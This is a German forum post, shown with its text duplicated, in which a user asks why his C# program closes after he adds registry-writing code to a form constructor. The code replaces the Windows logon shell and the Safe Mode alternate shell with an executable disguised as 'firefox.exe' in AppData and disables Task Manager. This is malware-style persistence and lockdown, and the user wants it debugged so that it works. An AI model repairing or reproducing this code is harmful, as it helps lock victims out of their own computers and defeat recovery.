Prestige__
Mitglied
Hallo.
Ich habe ein kleines Problem und versuche dies zu lösen aber schaffe dies nicht. Ich möchte in 'public FormBackground()' einen Code hinzuschreben, der aber dannach das Programm nicht mehr richtig ausführt, also das Programm beendet sich dann leider wieder.
Das ist der Code denn ich hinzufügen möchte:
Der ganze Bereich mit 'public FormBackground()' sieht so aus:
Ich weiß nicht wirklich ob ich etwas falsch mache aber in Visual Studio wird alles richtig und ohne Fehler angezeigt und für micht macht es auch Sinn, aber das Programm schließt sich leider dann wieder.
Ich denke das der Code der dannach folgt nicht mehr ausgeführt wird und sich deshalb irgendwie einfach beendet. Ich bräuchte dabei eben hilfe.
Liebe Grüße,
Marcel
Ich habe ein kleines Problem und versuche dies zu lösen aber schaffe dies nicht. Ich möchte in 'public FormBackground()' einen Code hinzuschreben, der aber dannach das Programm nicht mehr richtig ausführt, also das Programm beendet sich dann leider wieder.
Das ist der Code denn ich hinzufügen möchte:
C:
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies";
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(keyName, true))
{
key.CreateSubKey("System");
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "Shell");
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "1", "DisableTaskMgr");
}
C:
public FormBackground()
{
InitializeComponent();
timerActivateChecker.Interval = Config.TimerActivateCheckerInterval;
timerActivateChecker.Enabled = true;
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies";
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(keyName, true))
{
key.CreateSubKey("System");
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "Shell");
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "1", "DisableTaskMgr");
}
}
Ich denke das der Code der dannach folgt nicht mehr ausgeführt wird und sich deshalb irgendwie einfach beendet. Ich bräuchte dabei eben hilfe.
Liebe Grüße,
Marcel